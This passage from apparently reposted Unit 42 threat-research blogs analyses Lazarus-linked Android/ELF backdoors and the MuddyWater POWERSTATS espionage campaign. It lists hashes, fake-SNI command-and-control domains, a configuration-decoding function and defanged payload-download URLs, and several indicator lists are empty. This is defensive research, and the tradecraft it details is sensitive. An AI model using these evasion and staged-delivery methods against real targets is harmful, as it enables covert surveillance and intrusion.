The ELF ARM samples choose one of the embedded domains to populate an SNI field of a TLS connection to one of the embedded IPv4 addresses. By doing command and control in this way an analyst observing the connection stream only sees what looks like (but is not) a TLS connection to a legitimate domain name. The domain names included in 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d are as follows:

  • myservice.xbox[.]com
  • uk.yahoo[.]com
  • web.whatsapp[.]com
  • www.apple[.]com
  • www.baidu[.]com
  • www.bing[.]com
  • www.bitcoin[.]org
  • www.comodo[.]com
  • www.debian[.]org
  • www.dropbox[.]com
  • www.facebook[.]com
  • www.github[.]com
  • www.google[.]com
  • www.lenovo[.]com
  • www.microsoft[.]com
  • www.paypal[.]com
  • www.tumblr[.]com
  • www.twitter[.]com
  • www.wetransfer[.]com
  • www.wikipedia[.]org

An example TLS “Client Hello” record generated by 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d is given below. It includes a legitimate domain name in its SNI field yet is sent to a command and control IPv4 address.


By examining strings, binary functions, and embedded IPv4 addresses of 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d, we were able to hunt for and locate two additional ELF ARM samples. Below is a table of the related ELF ARM samples:

SHA256 Description Embedded IPv4 Addresses
800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d

Embedded in 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 (described below)

153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 ELF ARM file likely of the same malware family as 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d

Related APK Samples

In addition to ELF ARM files the HTTP Server can also serve APK files. As previously stated, an APK with SHA256 4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a is embedded as a resource in the HTTP PE server sample with a name of “umc.apk”.

Umc.apk defines intent filters to receive events from the Android operating system when the APK is replaced (PACKAGE_REPLACED), when the device receives a text message (SMS_RECEIVED), and when the device is in use by a user (USER_PRESENT). Umc.apk installs an embedded APK with the SHA256 value of a984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041. A984a5ac41446db9592345e547afe7fb0a3d85fcbbbdc46e16be1336f7a54041 has a name of “install.apk”.

The purpose of install.apk is to cleanup umc.apk and install a third APK with a SHA256 hash of 3058996af36dada71d6e6683f246b887f15010729da74a194d727c15409b0be6 and a name of “object.apk”.

Object.apk is the final malicious payload. This APK ensures that it is running when the device is booted and provides backdoor capabilities to its controller.

  • Record the microphone
  • Capture from the camera
  • Upload, execute, and manipulate local files
  • Download remote files
  • Record GPS information
  • Read contact information
  • Observe SMS or MMS messages
  • Record web browsing history and bookmarks
  • Scan and capture WiFi information

Below is an image of decompiled code from a main component of the backdoor. It shows the internal version number for this APK is “4.2.160713” it is unclear if this is an accurate representation of the number of iterations of development undertaken on this malware family, or if it is to give the APK an air of legitimacy.


Configuration information for object.apk is included in the APK as a resource named “assest.png”. The configuration information can be decoded using the following Python function:

def cnfdecr(s):
  b = ''
  for each in s:
    tmp = ord(each)
    tmp = tmp - 55
    tmp = tmp ^ 0x12
    b += chr(tmp)
  return b

The decoded configuration values and their purposes follow:

Value Purpose
4 Proxy Count IPv4
443 Port Number IPv4
443 Port Number IPv4
443 Port Number IPv4
443 Port Number
60 Sleep Time
5 Max Repetition Count

Following our analysis of the payload APK, we were able to locate an additional related APK. The APK with SHA256 hash value of 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 contains 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266, one of the ELF ARM files discussed in a table under the section titled, “Related ELF ARM Samples”.

This APK, 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3, contains resources which reference legitimate applications of varying popularity. We hypothesize the inclusion of these resources are to disguise the application’s true intent and to make the application seem legitimate. The inclusion of KaKaoTalk resources leads us to believe this APK is targeting South Koreans. The image below shows some of the referenced mobile applications resources:


The purpose of 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 is to execute the ELF ARM file is contains. Below shows decompiled source code of the “com.godpeople.GPtong.ETC.SplashActivity” resource in the APK which contains the main functionality of the APK. It executes the ELF ARM file named “while” and logs activity to the debug log named “snowflake”.


Relationships to Known Samples

Originally, the PE server was identified by its binary overlaps with the following samples:

  • 410959e9bfd9fb75e51153dd3b04e24a11d3734d8fb1c11608174946e3aab710
  • 4cf164497c275ae0f86c28d7847b10f5bd302ba12b995646c32cb53d03b7e6b5

When executing, both samples create the mutex “FwtSqmSession106839323_S-1-5-20” which has ties to Operation Blockbuster and the attacks on the SWIFT banking system. Once this overlap in indicators was identified, and manual investigation began, additional overlaps began to emerge.

Additional functional code overlaps are found between the following samples and the PE server:

  • 1d195c40169cbdb0f50eca40ebda62321aa05a54137635c7ebb2960690eb1d82
  • af71ba26fd77830eea345c638d8c2328830882fd0bd7158e0abc4b32ca0b7b74

The PE server sample is not the only sample with ties to previously identified malware. Infrastructure reuse also exist between the IPv4 addresses embedded in ELF ARM files detailed in the previous section and previously identified malware. For example, is embedded in 800f9ffd063dd2526a4a43b7370a8b04fbb9ffeff9c578aa644c44947d367266 and is also contacted by a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6, a documented Destover sample.

Another example of IPv4 address reuse is This IPv4 address is embedded in the ELF file with SHA256 of 153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6 and is also contacted by 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd which is a PE payload delivered by the macros in the following malicious documents:

  • 7576bfd8102371e75526f545630753b52303daf2b41425cd363d6f6f7ce2c0c0
  • ffdc53425ce42cf1d738fe22016492e1cb8e1bc657833ad6e69721b3c28718b2
  • c98e7241693fbcbfedf254f2edc8173af54fcacebb7047eb7646235736dd5b89

These macros share the same logic as macros discussed by Unit42 in previous reports.

Final Thoughts

It is clear that source code was reused between previously reported samples and the cluster of new samples outlined by Unit 42. Additionally, command and control IPv4 addresses were reused by the malware discussed in this analysis. Technical indicators as well as soft indicators, such as APK themes and names, provide soft and tenable ties to the actors behind Operation Blockbuster and the HiddenCobra group.

The image below summarizes all of the relationships presented in this report:


Attribution is difficult to confidently achieve even with an in-depth technical knowledge and large pool of telemetry to hunt through. Without targeting and delivery information this report offers a partial perspective on this new activity targeting Korean speaking Samsung users.

Palo Alto Networks customers can review this cluster of newly discovered malware by examining the GoingMobile AutoFocus tag.

Indicators of Compromise

















































The post Operation Blockbuster Goes Mobile appeared first on Palo Alto Networks Blog.

Go to Source
Author: Anthony Kasza

Muddying the Water: Targeted Attacks in the Middle East


This blog discusses targeted attacks against the Middle East taking place between February and October 2017 by a group Unit 42 is naming “MuddyWater”. This blog links this recent activity with previous isolated public reporting on similar attacks we believe are related. We refer to these attacks as MuddyWater due to the confusion in attributing these attacks. Although the activity was previously linked by others to the FIN7 threat actor group, our research suggests the activity is in fact espionage related and unlikely to be FIN7 related.

The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

Introduction & Overview

The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes. Which in turn, closely resembles a previous article by Morphisec. These attacks have also been tracked by several other researchers on Twitter and elsewhere.

The activity has been consistent throughout 2017 and, based on our analysis, targets or is suspected to target, entities in the following countries:

  • Saudi Arabia
  • Iraq
  • Israel
  • United Arab Emirates
  • Georgia
  • India
  • Pakistan
  • Turkey
  • USA

The malicious documents were adjusted according to the target regions, often using the logos of branches of local government, prompting the users to bypass security controls and enable macros. An overview of the technical changes seen in the past year is given in the graphic below, note that raw IOCs present in this graphic can be found as text in the Appendix at the end of this article.


Figure 1. An overview of the delivery of POWERSTATS, C2 URLs used, and other changes in the malware

MuddyWater in the Middle East

The attackers behind MuddyWater have been active throughout 2017, with targets across the Middle East and surrounding areas, a summary of the decoy documents observed is given in Table 1.

Of course, being named in a decoy document doesn’t mean any of these organizations have been attacked themselves or are involved in the attacks: the MuddyWater actors are abusing the trust these organizations’ names and/or logos command for their malicious purposes.

Month File Name or Decoy Document Theme Suspected Target Region
Nov 2017 The NSA




Oct 2017 Circulars.doc


Pakistan Federal Investigation Agency

CV of Middle Eastern Civil Servant



Sep 2017 Iraq National Intelligence Service

Kaspersky Security solution 2017.doc

Aug 2017 Arab Emirate سری.docm

Iraq Commission of Integrity

Arab Emirates
Jul 2017 Requirements of the Sago.doc


Confidential letters.doc

Saudi Arabia

Arab Emirates


Jun 2017 Iraq Kurdistan Regional Government


May 2017 RFP.doc


Iraq Kurdistan Regional Government



Mar 2017 court.doc Georgia
Feb 2017 CERT-Audit-20172802-GEO.xls Georgia

Table 1 – A summary of the lure documents observed in the MuddyWater attacks.

All of these documents we observed and outlined above are related via:

  • Shared C2 infrastructure.
  • Use of the non-public PowerShell backdoor previously described by Morphisec and MalwareBytes (which we refer to as POWERSTATS).
  • Shared attributes of the malicious documents used in attacks.
  • Shared attributes as to how the documents were delivered.

Based on these connections we can be confident that all the files and infrastructure we give in our appendices are related, since more than one of these can be used to link each of the samples discussed in each case.

I download my tools from GitHub, and so do my victims.

The tools used by the MuddyWater attackers have been well documented by the previously cited research and a common theme of previous reporting was the open source nature of much of the toolset used by MuddyWater: Meterpreter, Mimikatz, Lazagne, Invoke-Obfuscation etc.. In some of their recent attack documents, the attackers also used GitHub as a hosting site for their custom backdoor, POWERSTATS. Specifically, the following GitHub repositories appear to be controlled by the MuddyWater threat actor(s):

  • [unknown SHA256]
    • Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/ArabicBrowserFont.exe
  • [unknown SHA256]
    • Downloads payload from: hxxps://raw.githubusercontent[.]com/F0R3X/BrowserFontArabic/master/FontArabic.exe
  • 9b5e36bb7518a9e333c31d09b589102f89e3425571dd434820ab3c437dc4e0d9 (and several others)
    • Downloads payload from: hxxps://raw.githubusercontent[.]com/ReactDeveloper2017/react/master/src/test/test.js

Interestingly, both profiles were populated with forked repositories to give them an air of legitimacy as shown in figure 2. The POWERSTATS malware was compiled as an exe using PS2EXE. However, this was a minor anomaly, as it was only seen in this case: raw scripts being used in all other cases.


Figure 2 – The GitHub profile for F0R3X containing both legitimate forked code and the binaries created by the attacker. Note that the username could be a small joke on the attackers’ part regarding the attribution to FIN7.

Pwn one to pwn them all

In some of the instances we observed what appeared to be compromised accounts at third party organizations sending the malware. In one case, the attackers sent a malicious document which was nearly identical to a legitimate attachment which we observed later being sent to the same recipient. This indicates that the attackers stole and modified a legitimate document from the compromised user account, crafted a malicious decoy Word macro document using this stolen document and sent it to the target recipient who might be expecting the email from the original account user before the real sender had time to send it.

This targeting of third party organizations to attack further targets is a risky move on the attackers’ part, as it potentially reveals their activity within the compromised third party organizations to the new target (those receiving the malicious documents

Making sense of MuddyWater

When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East, we were somewhat confused as the previous public reporting had attributed these attacks to FIN7. FIN7 is a threat actor group that is financially motivated with targets in the restaurant, services and financial sectors. Following the trail of existing public reporting, the tie to FIN7 is essentially made based on a download observed from a MuddyWater C2, of a non-public tool “DNSMessenger”.

For example, Morphisec wrote:

“Later in our investigation, the same command server also delivered a variant of the DNS messenger similar to that described by Talos. The domain names differed but the script adheres to the same logic (including the logic function).”

The DNSMessenger malware is an obfuscated and customized version of the popular DNS_TXT_PWNAGE.ps1 script available on GitHub and is also referred to by FireEye as POWERSOURCE. The use of the DNSMessenger tool appears primarily linked to FIN7, with no other samples being attributable to MuddyWater.

This led us to query the relationship between the newer attacks we were looking at and the alleged FIN7 link. As part of this research, we came up with the following hypotheses along with their likelihoods, and a rationale for each one.

1) The FIN7 threat actor is also involved in espionage in the Middle East – Unlikely

Whilst this may seem an attractive hypothesis to some, there are aspects on the technical side that simply don’t add up. Primarily, there are significant disparities between FIN7 and MuddyWater, specifically in terms of:

  • Malware unique to FIN7, or commonly used by them has not yet been seen in any MuddyWater investigations (except for the single observation of the DNSMessenger sample)
  • Other non-public malware and tools used by MuddyWater have not been observed in our FIN7 investigations.
  • From an infrastructure point of view there is no overlap between the two sets of activity, the only overlap is the use of the unique tool “DNSMessenger”

When these points are considered together in conjunction with the significant difference in targeting they make a strong case for classifying this activity as distinct from FIN7 activity.

2) The DNSMessenger malware is a shared tool, used by FIN7, MuddyWater and perhaps other groups – Unlikely

We have attempted to find examples of code available in public data sources that would generate the variation of the DNSMessenger malware and had little luck in doing so. Even though the code for DNSMessenger is publicly available following research into attackers published by 3rd parties, attackers would have to write the corresponding server side to use it, and as such they may well choose to use the public DNS_TXT_Pwnage.ps1 script instead.

Despite this, based on the chain of analysis above we cannot discount the notion that DNSMessenger is shared by multiple attackers, including FIN7 and MuddyWater.

3) There was a mistake in the original Morphisec analysis which linked these attacks to FIN7 –  Possible

Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn’t possible for us to verify this link.

4) The attackers realized they were under investigation and planted a false flag – Possible

The attackers realized they were under investigation and planted a false flag on their C2 server, uploading a copy of the FIN7 DNSMessenger code which had been previously mentioned (and was since publicly available) by FireEye and delivering it to researchers to trick them into mis-attributing the campaign.

Indeed, the sample shared by Morphisec on PasteBin is identical to the one dropped by the sample discussed in the FireEye FIN7 SEC campaign blog except for the final line.

Final thoughts

Whilst we could conclude with confidence that the attacks discussed in this article are not FIN7 related, we were not able to answer many of our questions about the MuddyWater attacks. We are currently unable to make a firm conclusion about the origin of the attackers, or the specific types of information they seek out once on a network. In any case we will continue to track their activities to provide protections for our customers.

We hope the analysis presented shows the importance of drawing your own conclusions based on the data available to you, not just taking the conclusions given in the public domain at face value. This is especially true when actors who rely on slightly modified (and publicly available) open source tools are in play. Copycat threat actors can easily mimic attackers who use open source tools which can confuse attribution efforts meaning more than one aspect of the attacks observed must be considered when clustering.

On top of this, whilst the vast majority of threat analysis in the public domain is repeatable and correct, in some cases it can be difficult to verify the analysis available. When it is hard to reproduce the analysis the confidence in any conclusions drawn must be lower than it would otherwise be, since you cannot know for sure that what is stated is true.

Palo Alto Networks customers are protected from this threat in the following ways:

  • WildFire and Traps detect all the malware supported in this report as malicious.
  • Traps customers can deploy Heuristic methods to detect attacks that use these techniques.
  • C2 domains used by the attackers are blocked via Threat Prevention.

AutoFocus customers can monitor ongoing activity from the threats discussed in this report by looking at the following tags:

Appendix A – C2 Addresses




Compromised Legitimate Sites













































Appendix B – Related files

sha256 Overall Description
d2a0eec18d755d456a34865ff2ffc14e3969ea77f7235ef5dfc3928972d7960f Loader script from 144.76.109[.]88
1421a5cd0566f4a69e7ca9cdefa380507144d7ed59cd22e53bfd25263c201a6f MuddyWater Macro
4e3c7defd6f3061b0303e687a4b5b3cc2a4ae84cdc48706c65a7b1e53402efc0 MuddyWater Macro
8b96804d861ea690fcb61224ec27b84476cf3117222cca05e6eba955d9395deb Lazagne
16985600c959f6267476da614243a585b1b222213ec938351ef6a26560c992db PS2EXE PowerStats (GitHub)
cf87a2ac51503d645e827913dd69f3d80b66a58195e5a0044af23ea6ba46b823 PS2EXE PowerStats (GitHub)
3030d80cfe1ee6986657a2d9b76b626ea05e2c289dee05bd7b9553b10d14e4a1 Decoded PowerStats payload
99077dcb37395603db0f99823a190f50313dc4e9819462c7da29c4bc983f42fd Lazagne Runner Script
1b60b7f9b0faf25288f1057b154413921a6cb373dcee43e831b9263c5b3077ce MuddyWater Macro
2c8d18f03b6624fa38cae0141b91932ba9dc1221ec5cf7f841a2f7e31685e6a1 MuddyWater Macro
367021beedb3ad415c69c9a0e657dc3ed82b1b24a41a71537d889f5e2b7ca433 MuddyWater Macro
58282917a024ac252966650361ac4cbbbed48a0df7cab7b9a6329d4a04551c0d MuddyWater Macro
58898648a68f0639c06bedc8242ca48bc6ec56f11ed40d00aa5fdda4e5553482 MuddyWater Macro
81523e0199ae1dc9e87d2b952642785bfbda6326f22e4c0794a19afdf001a9a3 MuddyWater Macro
90b66b3fef77962fbfda364a4f8799bfcc9ab73772026d7a8922a7cf5556a024 MuddyWater Macro
96101de2386e35bc5e38d32524a02c6c5ca7cc6624e656a629b2e0f1693a76fd MuddyWater Macro
964aaf5d9b1c749df0a2df1f1b4193e5a643893f251e2d74b47663f895da9b13 MuddyWater Macro
97f9a83bc6bb1b3f5cb7ac9401f95265597bff796bb4901631d6fa2c79a48bdc MuddyWater Macro
a3c1fd46177a078c4b95c744a24103df7d0a58cee1a3be92bc4cdd7dec1b1aa5 MuddyWater Macro
fcfbdffbcad731e0a5aad349215c87ed919865d66c287a6723fd8e2f896c5834 MuddyWater Macro
2bb1637c80f0a7df7260a8583beb033f4afbdd5c321ff5642bc8e1868194e009 MuddyWater Macro
58aec38e98aba66f9f01ca53442d160a2da7b137efbc940672982a4d8415a186 MuddyWater Macro
605fefc7829cfa41710e0b844084eab1f180fe513adc1d8f0f82501a154db0f4 MuddyWater Macro
e8a832b04dbdc413b71076754c3a0bf07cb7b9b61927248c482ddca32e1dab89 MuddyWater Macro
5d049bd7f478ea5d978b3c78f7f0afdf294a94f526fc20ffd6e33022d40d15ae MuddyWater Macro
12a7898fe5c75e0b57519f1e7019b5d09f5c5cbe49c48ab91daf6fcc09ee8a30 MuddyWater Macro
2602e817a67949860733b3548b37792616d52ffd305405ccab0409bcfedc5d63 MuddyWater Macro
42a4d9527063f73004b049a093a34a4fc3b6ea9505cb9b50b895486cb2dca94b MuddyWater Macro
5ed5fc6c6918ff6fa4eab7742c03d59155ca87e0fe12bac339f18928e2924a96 MuddyWater Macro
a2ad6bfc47c4f69a2170cc1a9fd620a68b1ebb474b7bdf601066e780e592222f MuddyWater Macro
c23ece07fc5432ca200f3de3e4c4b68430c6a22199d7fab11916a8c404fb63dc MuddyWater Macro
cb96cd26f36a3b1aacabfc79bbb5c1e0c9850b1c75c30aa498ad2d4131b02b98 MuddyWater Macro
ed2f9c9d5554d5248a7ad9ad1017af5f1bbadbd2275689a8b019a04c516eeec2 MuddyWater Macro
fe16543109f640ddbf3725e4d9f593de9f13ee9ae96c5e41e9cdccb7ab35b661 MuddyWater Macro
886e3a2f74bf8f46b23c78a6bad80c74fe33579f6fe866bc5075b034c4d5d432 MuddyWater Macro
8ec108b8f66567a8d84975728b2d5e6a2786c2ca368310cca55acad02bb00fa6 MuddyWater Macro
96d80ae577e9b899772a940b4941da39cf7399b5c852048f0d06926eb6c9868a MuddyWater Macro
bb1a5fb87d34c63ade0ed8a8b95412ba3795fd648a97836cb5117aff8ea08423 MuddyWater Macro
d65e2086aeab56a36896a56589e47773e9252747338c6b59c458155287363f28 MuddyWater Macro
588cd0fe3ae6fbd2fa4cf8de8db8ae2069ea62c9eaa6854caedf45045780661f MuddyWater Macro
917a6c816684f22934e2998f43633179e14dcc2e609c6931dd2fc36098c48028 MuddyWater Macro
db7bdd6c3ff7a27bd4aa9acc17dc35c38b527fb736a17d0927a0b3d7e94acb42 MuddyWater Macro
de6ce9b75f4523a5b235f90fa00027be5920c97a972ad6cb2311953446c81e1d MuddyWater Macro
a6673c6d52dd5361afd96f8143b88810812daa97004f69661da625aaaba9363b MuddyWater Macro
40a6b4c6746e37d0c5ecb801e7656c9941f4839f94d8f4cd61eaf2b812feaabe MuddyWater Macro

Appendix C – Proxy URLs found from POWERSTATS samples from October 2017 onwards



























































The post Muddying the Water: Targeted Attacks in the Middle East appeared first on Palo Alto Networks Blog.

Go to Source
Author: Tom Lancaster